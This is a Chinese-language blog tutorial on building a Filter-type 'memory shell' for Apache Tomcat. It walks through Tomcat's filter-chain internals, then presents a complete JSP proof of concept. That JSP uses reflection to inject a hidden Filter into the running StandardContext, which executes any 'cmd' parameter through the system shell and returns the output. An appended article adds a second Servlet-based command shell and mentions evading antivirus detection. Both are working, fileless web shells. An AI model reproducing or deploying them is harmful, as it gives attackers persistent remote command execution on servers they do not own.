Tomcat Java内存马 Filter型

Tomcat Java内存马 Filter型

之所以称为内存马是因为恶意代码是注入到TomcatContext里。

Filter型则是通过把一个编写了恶意代码的Filter注册到Context里,然后触发该恶意Filter来运行恶意代码。当注册成功后,即使把恶意JSP删掉也没有关系,因为恶意Filter已经注册到Context里了,这也是为什么叫内存马的原因。并不依赖于文件。

首先分析一下FilterTomcat里如何注册的。

Filter

Filter的doFilter

Tomcat中一个自定义Filter类需要实现Filter接口,且在doFilter()方法里编写Filter要做的事。

package javax.servlet;

import java.io.IOException;

public interface Filter {
    default void init(FilterConfig filterConfig) throws ServletException {}

    void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;

    default void destroy() {}
}

先写一个Demo打断点调试一下。

public class FilterDemo01 implements Filter { 

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("FilterDemo01 doFilter"); 
        filterChain.doFilter(servletRequest,servletResponse); // 这里打一个断点

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        //Filter.super.init(filterConfig);
    }

    @Override
    public void destroy() {
        //Filter.super.destroy();
    }
}

web.xml里注册,或者通过@WebFilter注解。触发断点需要访问filterDemo01映射的路径**/servletdemo01**。

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <filter>
    <filter-name>filterDemo01</filter-name>
    <filter-class>filter.FilterDemo01</filter-class>
  </filter>

  <filter-mapping>
    <filter-name>filterDemo01</filter-name>
    <url-pattern>/servletdemo01</url-pattern>
  </filter-mapping>

</web-app>

访问 /servletdemo01路径触发断点。断点为什么要断在filterChain.doFilter(servletRequest,servletResponse)呢?因为在Tomcatfilter链机制,这里不做赘述。

断点停下,调用栈向上分析,通过源码调用doFilter()是在ApplicationFilterChain.internalDoFilter()

//ApplicationFilterChain.java
private void internalDoFilter(ServletRequest request, ServletResponse response)
    throws IOException, ServletException {

    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        try {
            Filter filter = filterConfig.getFilter();

            if( Globals.IS_SECURITY_ENABLED ) { /*...*/ } else {
                filter.doFilter(request, response, this);
            }
        } catch (IOException | ServletException | RuntimeException e) 
        {throw e;} 
        catch (Throwable e) {e = ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString("filterChain.filter"), e);}
        return;
    }
}

通过读取自身的字段filters[pos++] 获取ApplicationFilterConfig,该类封装了对应的Filter可以通过getFilter()获取。然后调用doFilter()

//FilterDemo01.java
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

    System.out.println("FilterDemo01 doFilter");
    filterChain.doFilter(servletRequest,servletResponse);

}

值得一说的是filterChain就是在上面传入的this参数,也就是ApplicationFilterChain.doFilter(),在该方法里会调用internalDoFilter()方法然后通过filters[pos++]调用下一个filterdoFilter()方法。

这就是所谓的Filter链机制,这也解释了为什么每个FilterdoFilter()方法都要写filterChain.doFilter(servletRequest,servletResponse);

Filter的调用

上面分析了怎么调用doFilter()的,接下来就需要分析一下Filter的调用了。

public class FilterDemo01 implements Filter { // 这里打一个断点
	/*...*/
}

接着上一部分的ApplicationFilterChain.doFilter()往上再看一层,是StandardWrapperValve.invoke()。根据注释createFilterChain()就是创建Filter链的。

//StandardWrapperValve.java
public final void invoke(Request request, Response response) throws IOException, ServletException{
    
     // Create the filter chain for this request
        ApplicationFilterChain filterChain =
                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
    
    filterChain.doFilter(request.getRequest(), response.getResponse());
    
}

createFilterChain()中,会将这次request里的过滤器都加入到Filter链中。

public static ApplicationFilterChain createFilterChain(ServletRequest request,Wrapper wrapper, Servlet servlet){

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain = null;
    if (request instanceof Request) {
        Request req = (Request) request;
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();

    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

}

首先初始化一个ApplicationFilterChain类型的filterChain,然后从wrapper获得StandardContext,然后从StandardContext获得filterMaps[] 数组。

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps()

接下来遍历filterMaps数组,将符合条件的Filter加到Filter链里。

for (FilterMap filterMap : filterMaps) {
    if (!matchDispatcher(filterMap, dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMap, requestPath)) {
        continue;
    }
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMap.getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
    if (!matchDispatcher(filterMap, dispatcher)) {
        continue;
    }
    if (!matchFiltersServlet(filterMap, servletName)) {
        continue;
    }
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMap.getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    filterChain.addFilter(filterConfig);
}

注意第一次是检查URL是否匹配,第二回是检测Servlet是否匹配,filterMapsweb.xml<filter> 配置项里按照顺序依次读取Filter并进行匹配,符合条件的就加入本次requestFilter链里。

//ApplicationFilterChain.java
void addFilter(ApplicationFilterConfig filterConfig) {

    // Prevent the same filter being added multiple times
    for(ApplicationFilterConfig filter:filters) {
        if(filter==filterConfig) {
            return;
        }
    }

    filters[n++] = filterConfig;

}

并且可以看到就是把filterConfig加到链里,而这个filterConfig在上面是通过

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMap.getFilterName());

得到的。

Poc

通过上面的分析已知,我们需要构造的是filterConfigfilterMaps,且都可以从StandardContext中获得。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%
    final String name = "2233";
//    获取上下文
//    ServletContext servletContext = request.getSession().getServletContext();
//
//    Field appctx = servletContext.getClass().getDeclaredField("context");
//    appctx.setAccessible(true);
//    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//
//    Field stdctx = applicationContext.getClass().getDeclaredField("context");
//    stdctx.setAccessible(true);
//    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/2233");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>poc</title>
</head>
<body>
hello poc2
</body>
</html>

参考文章:

### 关于Tomcat内存漏洞复现的方法 #### 背景介绍 Tomcat 是一款广泛使用的开源 Web 应用服务器,支持 Java Servlet 和 JSP 技术。由于其开放性和灵活性,在实际部署过程中可能存在多种安全隐患,其中一种较为隐蔽的安全威胁就是 **内存** 的利用方式[^3]。 内存是一种不依赖物理文件存储的恶意代码植入技术,通过动态加载的方式将恶意逻辑注入到 JVM 运行环境中,使得攻击者能够在无需留下任何磁盘痕迹的情况下实现远程命令执行或其他恶意行为[^4]。 --- #### 内存的工作原理 内存的核心机制在于绕过传统的基于文件检测的安全防护手段。具体来说,它可以通过以下几种方式进行植入: 1. **修改已有类的行为**: 动态代理或反射技术可以改变某些核心组件的功能。 2. **注册自定义Servlet**: 利用容器特性向 Tomcat 注册新的 Servlet 实例来监听特定路径请求并返回恶意响应。 3. **使用Filter拦截器**: 插入过滤链中的 Filter 对象可以在每次 HTTP 请求到达之前或者之后实施控制操作。 4. **JNDI注入**: 如果应用程序允许外部配置资源绑定,则可能被用来引入危险对象实例化过程。 这些方法均不需要创建额外的实际文件即可完成整个攻击流程。 --- #### 复现环境准备 为了成功模拟一次针对 Tomcat内存攻击实验,请按照如下步骤搭建测试平台: - 安装目标版本的 Apache Tomcat (需注意选择易受攻击的具体发行版号)[^2]; - 配置好 JDK 环境以及必要的开发工具; - 准备一台单独用于试验目的虚拟机或者其他隔离网络区域内的主机作为受害方节点; > 特别提醒:所有渗透测试活动都应在授权范围内开展,并严格遵循当地法律法规! --- #### 具体实践案例——Servlet内存构建演示 下面给出一段简单的 Java 代码片段展示如何手动构造一个基础形态下的 Servlet内存: ```java import javax.servlet.*; import javax.servlet.http.*; import java.io.*; public class MemoryShell extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException{ String cmd = req.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); StringBuilder sb=new StringBuilder(); String line=null; while( (line=br.readLine())!=null ) { sb.append(line).append("\n"); } PrintWriter out=res.getWriter(); out.println(sb.toString()); } } ``` 此脚本实现了基本功能:接收客户端 GET 参数 `cmd` 所指定的操作系统指令字符串参数并通过标准库函数调用本地 shell 来获取结果反馈给访问者。 随后可通过某种途径(如 RCE 漏洞)将此类字节码序列传送到服务端内存空间内激活生效。 --- #### 注意事项 尽管上述例子便于理解概念本身,但在真实世界场景下还需要考虑更多因素才能达到理想效果,比如规避杀软查杀、隐藏特征签名等等高级技巧。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值